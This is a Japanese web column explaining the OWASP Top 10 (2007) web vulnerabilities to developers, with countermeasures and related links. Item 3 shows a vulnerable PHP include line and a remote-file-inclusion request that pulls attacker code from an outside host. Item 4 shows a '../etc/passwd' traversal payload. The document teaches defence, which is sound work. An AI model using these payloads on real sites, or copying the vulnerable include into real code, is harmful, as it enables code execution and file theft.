Webアプリケーションが攻撃者に付け込まれる脆弱性の多くは、設計者や開発者のレベルで排除することができます。実装に忙しい方も、最近よく狙われる脆弱性のトップ10を知ることで手っ取り早く概要を知り、開発の際にその存在を意識してセキュアなWebアプリケーションにしていただければ幸いです。
Webの世界を脅かす脆弱性を順位付け
OWASP（Open Web Application Security Project）は、主にWebアプリケーションのセキュリティ向上を目的としたコミュニティで、そこでの調査や開発の成果物を誰でも利用できるように公開しています。
その中の「OWASP Top Ten Project」というプロジェクトでは、年に1回Webアプリケーションの脆弱性トップ10を掲載しています。2004年版は日本語を含む各国語版が提供されていますが、2007年版は現在のところ英語版のみが提供されています。
トップ10には入っていない脆弱性もありますが、最近のWebアプリケーションが抱える問題を知るための便利な資料として活用できます。脆弱性の存在を知れば、設計や実装で防御を意識するようになることでしょう。
OWASP Top 10 2007で知るWebアプリケーション脆弱性の概要
OWASPから発表されたトップ10を簡単に紹介していきましょう。OWASP Top 10の詳細ページには、脆弱性の概要、検証方法、防御方法、参考文献などが紹介されているので、それぞれのリンク先を参照してください。また、＠ITでの関連記事リンクも併せてどうぞ。
●1．クロスサイトスクリプティング（XSS）
HTMLで表示する文字列の中に、悪意のあるJavaScriptやHTMLタグなどを混入できるというバグによって起こります。ちなみに、XSSも2位のインジェクションの欠陥の一種ですが、XSSは特別多い脆弱性だということで分けて扱っているようです。
この脆弱性があることによって、わなにはまったユーザーのCookie情報が攻撃者の手に渡ることで、セッションを乗っ取られてしまい、アカウントを盗まれてしまう可能性があります。また、攻撃者が偽の入力フォームや文章や画像などを設置することできます。そして、正規のWebページを装って、偽の情報を流すことで、利用者の情報（個人情報やクレジットカード番号、パスワードなど）を収集することができてしまいます。
入力値のチェック、出力エンコーディング形式の指定などの対策が有効です。また、ブラックリスト方式の対策は、すべてのパターンを網羅することが難しいということを認識しておきましょう。
【関連記事】
クロスサイトスクリプティング対策の基本
http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html
星野君のWebアプリほのぼの改造計画（10）
マルチバイトの落とし穴
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino01.html
●2．インジェクションの欠陥
有名なSQLインジェクションをはじめ、OSコマンド、LDAP、XPath、XSLT、HTML、XMLなどのインジェクションがあります。悪意のあるデータを混入できることを利用することで、そのデータがコマンドやクエリとして解釈され実行されてしまうという脆弱性です。
この脆弱性によって、攻撃者がサーバ上のデータの閲覧、作成や削除などができてしまうという問題が起こります。最悪の場合には、OSコマンドを悪用されてシステムが完全に乗っ取られてしまう可能性もある脆弱性です。
入力値のチェック、プレイスホルダやストアドプロシージャなどの利用、データベースを最小特権で利用するなどの対策が有効です。また、PHPのaddslashes()のような効果のあいまいなエスケープ機能を使って満足しないようにしましょう。
【関連記事】
Webアプリケーションに潜むセキュリティホール（2）
顧客データがすべて盗まれる？！〜OSやデータベースへの攻撃〜
http://www.atmarkit.co.jp/fsecurity/rensai/webhole02/webhole01.html
Security&Trustウォッチ（42）
今夜分かるSQLインジェクション対策
http://www.atmarkit.co.jp/fsecurity/column/ueno/42.html
●3．悪意のあるファイルを読み込んで実行
内部や外部からファイルを読み込む機能を持っている場合、その入力されたデータのチェックが不十分なことによって、任意のファイルやコードを読み込ませることができてしまうというバグによって起こります。PHPでの典型的な脆弱コードとしては下記のようなものです。
include $_REQUEST['css'];
攻撃者が設置したPHPコード（http://hackr.jp/attack.txt）を、上記のコード をサーバ（http://www.example.com/index.php）に対して、下記のようにリクエストを送ることで任意のPHPコードの実行が可能になります。
http://www.example.com/index.php?css=http://hackr.jp/attack.txt
この脆弱性があることによって、リモートからあらゆるコードを実行されたり、rootkitを送り込まれてシステムを乗っ取られたり、サーバ内の任意のファイルを読まれてしまうという問題が起こります。
開くファイルや入力できる文字列を限定したホワイトリスト方式での対策や、リモートファイルのインクルード機能を利用しない設定（PHPならallow_url_fopen=off）にしたり、ディレクトリを超えたファイル指定をできないようにしたりする対策が有効です。
●4．オブジェクトの直接参照
URLやパラメータを変えることで、本来見せるべきではないオブジェクトにアクセスすることができてしまうバグによって起こります。
この脆弱性があることによって、“../../../../etc/passwd%00”のようなパラメータを渡して、ディレクトリをさかのぼりシステム内のファイルにアクセスする「ディレクトリトラバーサル」や、“UID=ueno”を“UID=sen”に変えると違うユーザー権限でアクセスすることができてしまうという問題が起こります。
オブジェクトにアクセスする際に権限を検証したり、パラメータとして受け付ける値を制限するなどの対策が有効です。
【関連記事】
Webアプリケーションに潜むセキュリティホール（1）
サーバのファイルが丸見え？！
http://www.atmarkit.co.jp/fsecurity/rensai/webhole01/webhole01.html
星野君のWebアプリほのぼの改造計画（5）
Flashで作ったゲームも攻撃対象になるんです！
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino05/hoshino01.html
●5．クロスサイトリクエストフォージェリ
CSRF（Cross Site Request Forgery）は、本来拒否すべき外部のWebページからのHTTPリクエストを受け付けてしまうというバグによって起こります。
この脆弱性があることによって、わなにはまったユーザーが外部に設置された悪意のあるWebページにアクセスすることで、Webアプリケーションの何らかの機能が実行されるという問題が起こります。攻撃者が狙うのは、ログイン認証を必要とするWebサイトが多く、データの更新や削除といった機能を実行させようとします。
ランダムなトークンをフォームやURLに埋め込んでその整合性を確認したり、重要なデータ更新を扱う際には再度認証を行ったり、GETは使用しないといった対策が有効です。
【関連記事】
Security&Trustウォッチ（33）
「ぼくはまちちゃん」 ――知られざるCSRF攻撃
http://www.atmarkit.co.jp/fsecurity/column/ueno/33.html
星野君のWebアプリほのぼの改造計画（4）
まこと先輩と星野君とCSRFの微妙な関係
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino04/hoshino01.html
●6．設定情報などの漏えい、不適切なエラーハンドリング
データベースやアプリケーションなどが出力するエラーメッセージを利用者に表示していたり、Webアプリケーションのデバッグ用のメッセージを表示したり、認証の際に「パスワードが違います」というメッセージを表示してしまうことで、「ユーザーIDは合っている」ということを暗示してしまうといった不備を指します。
この脆弱性があることによって、攻撃者は次の攻撃のための重要な情報を手に入れることができます。
開発者同士でエラー処理に対するアプローチを共有したり、アプリケーションなどのエラー表示機能を無効にしたり、詳細なメッセージを表示せず簡単なメッセージを表示するだけにするといった対策が有効です。
【関連記事】
Webアプリケーションに潜むセキュリティホール（4）
エラーメッセージの危険性
http://www.atmarkit.co.jp/fsecurity/rensai/webhole04/webhole01.html
不正侵入の手口と対策（2）
攻撃者に有用な情報を与えない対策法
http://www.atmarkit.co.jp/fsecurity/rensai/iprotect02/iprotect01.html
星野君のWebアプリほのぼの改造計画（8）
メールアドレスの登録チェックが、余計なお世話に？
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino08/hoshino01.html
●7．不適切な認証やセッション管理
認証機構やセッション管理、ログアウト機能、パスワード管理、秘密の質問などの設計や実装に弱点があるため、適切に認証やセッション管理が行われていないという問題によって起こります。
この脆弱性があることによって、攻撃者はユーザーや管理者のアカウントを乗っ取ることができます。
開発者独自のセッション管理機能を開発したりせず、広く使われているセッション管理機能を使ったり、SSLなどで暗号化されていないページからのログインはさせずCookieにsecure属性を付ける、有効なセッションかどうか確認するといった対策が有効です。
【関連記事】
Webアプリケーションに潜むセキュリティホール（3）
気を付けたい貧弱なセッション管理
http://www.atmarkit.co.jp/fsecurity/rensai/webhole03/webhole01.html
Webアプリケーションに潜むセキュリティホール（14）
Webアプリケーションの脆弱性を総括する
http://www.atmarkit.co.jp/fsecurity/rensai/webhole14/webhole05.html
●8．暗号の使い方が不適切
重要なデータを守るために暗号を用いるのは有効な方法ですが、開発者お手製の暗号アルゴリズムを使ったり、弱いアルゴリズムを採用してしまったり、鍵の管理が安全でなかったり、暗号化すらしていないという問題によって起こります。
この脆弱性があることによって、暗号化によって安全に守られていると思い込んでいる情報が、簡単に漏えいしてしまうといった可能性があります。
お手製のアルゴリズムやすでに脆弱性が見つかっているアルゴリズムを使わずに、一般的に使われているアルゴリズムを採用し、鍵管理を安全にするといった対策が有効です。
【関連記事】
NewsInsight
APOPにパスワード漏えいの脆弱性、IPAは「根本的な対策ない」
http://www.atmarkit.co.jp/news/200704/19/apop.html
デファクトスタンダード暗号技術の大移行（1）
すべてはここから始まった〜SHA-1の脆弱化
http://www.atmarkit.co.jp/fsecurity/rensai/crypt01/crypt01.html
●9．通信方法が不適切
認証が必要な部分の通信のすべてにSSLを使用していない、またクレジットカード番号などの重要な情報を扱う部分の通信で使用していないといった問題によって起こります。
この脆弱性があることによって、認証情報やセッションIDなどが漏えいすることでアカウントが乗っ取られたり、重要な情報が漏えいしてしまいます。
すべての認証が必要な部分、個人情報やクレジットカード番号などの重要な情報や値を扱う通信では、SSLを適切に使うことが有効な対策です。また、Webサーバやデータベースシステム間の通信も適切に保護するようにしましょう。
【関連記事】
SSLでセキュアなECサイト構築
http://www.atmarkit.co.jp/fsecurity/special/01ssl/ssl01.html
データベースセキュリティの基礎のキソ（6）
Oracleサーバに対する通信経路の暗号化
http://www.atmarkit.co.jp/fsecurity/rensai/dbsec06/dbsec01.html
●10．URLへのアクセス制限の不備
例えばWebサイトの管理者ページへのアクセスを、アクセス制御機能を設けず、URLを隠していることだけに頼っているといった問題によって起こります。この脆弱性があると、何らかの理由で隠していたURLが見つかってしまった場合、攻撃者は制限されることなくそのページを利用することができてしまいます。
アクセスを制限したいすべてのページにはアクセス制御の機能を実装しましょう。ページや機能ごとにアクセス制御のマトリックスを明確にすることや、フレームワークを活用してどのページでも自動的にアクセス制御機能が働くようにするといった対策が有効です。
まずは、セキュリティを必要な機能として認識することから
何年も前からWebアプリケーションのセキュリティの必要性については語られていますが、まだその意識は共有できていないのが実情でしょう。
「セキュリティは追加するもの」という認識で、価格競争などでコストや納期が最優先となったとき、本体機能の実装のみが行われ、結果としてセキュリティが追加されなかったということになっているのではないでしょうか。「セキュリティ対策」という言葉が、セキュリティは後付けというイメージなのも良くないのかもしれません。
セキュリティは追加するものではありません。あらかじめ設計時から認識し、「セキュリティも本体の一部」とすべきです。可能であれば見積もりにも織り込むことで、セキュアなWebアプリケーションの実装を心おきなく行えるようにしたいものです。
Profile
上野 宣（うえの せん）
株式会社トライコーダ代表取締役
ネットワーク・サーバー セキュリティ診断、セキュリティ対策・運用改善コンサルティングを主な業務としている。
近著に「今夜わかるメールプロトコル」、「今夜わかるTCP/IP」、「今夜わかるHTTP」（共に翔泳社）がある。個人ブログは「うさぎ文学日記」
- 今夜こそわかる安全なSQLの呼び出し方 〜 高木浩光氏に聞いてみた
- 「わざと脆弱性を持たせたWebアプリ」で練習を
- Perl Mongersはセキュリティの夢を見るか？
- 誰がシステムのセキュリティを“大丈夫”にするのか
- 技術は言葉の壁を越える！ Black Hat Japan 2008＆AVTokyo2008（後編）
- 技術は言葉の壁を越える！ Black Hat Japan 2008＆AVTokyo2008（前編）
- キャンプに集まれ！ そして散開！
- 売り上げ重視か、それともセキュリティ重視か!? 「安全なウェブサイト運営入門」
- CeCOS IIにみるネット犯罪のもう一方の側面
- セキュリティ対策の行き着くところは……最終手段？ 京都に究極のセキュリティ対策を見た
- 人はオレを情報の破壊神と呼ぶ せめて、ハードディスクの最期はこの手で……
- セキュリティ社会科見学：インターネット物理モデルでセキュリティを考えた
- セキュリティ自由研究：この夏、グミ指を作ってみないか
- Webアプリケーションを作る前に知るべき10の脆弱性
- セキュリティを教える人に知ってほしい 基本が詰まった1冊
- セキュリティのバランス感覚を養うための1冊
- 暗号化仮想ドライブで手軽にファイルを暗号化
- Windows管理者必携、Sysinternalsでシステムを把握する
- 今夜分かるSQLインジェクション対策
- 「取りあえず管理者アカウントで」という思考停止はもうやめよう
- CSSクロスドメインの情報漏えいの脆弱性「CSSXSS」とは
- 偽装メールを見破れ！（後編）
- 偽装メールを見破れ！（前編）
- メールは信頼できても信用できない
- 危機管理体制を整えよう！ 個人情報漏えい後の対応ガイドライン
- メールアドレスを漏えいから守る方法
- 「Whoppix」を使ってペネトレーションテストをやろう
- 「ぼくはまちちゃん」 ――知られざるCSRF攻撃
- 25番ポートの攻防
- 平田です。届いてますか？
- 魔法の鍵と最後の鍵
- 個人情報保護法を論理的に読み解く
- 安全確保のために東京は明るく！ 大阪は暗く！
- 言論の自由とセキュリティコミュニティ
- 標的にされる無防備なコンピュータ
- セキュリティ担当者には想像力が必要
- 端末を持ち歩くことの危険を意識せよ！ 〜 「ノートPC＝自動車」論 〜
- 脆弱性のあるサイトとセキュリティ技術者の関係
- いまこそ一般教養としてセキュリティを！
- 大事なことは製品でもなく知識でもなく……
- 治安の悪化で改めて痛感したこと
- Blasterがもたらした多くの“メリット”
- 企業でのセキュリティ資格の意味合いは？
- 人はミスをするものと思え、故に事前対策が重要
- オレオレ詐欺に学ぶソーシャル対策
- あらゆる人にセキュリティ教育を
- 猛威を振るうSARSウイルスに思ったこと
- 痛い目に遭って考えた、ビジネス継続性の重要さ
- 責められるべきはMSだけだろうか？
- セキュリティ技術者を「憧れの職業」にするには？
Copyright © ITmedia, Inc. All Rights Reserved.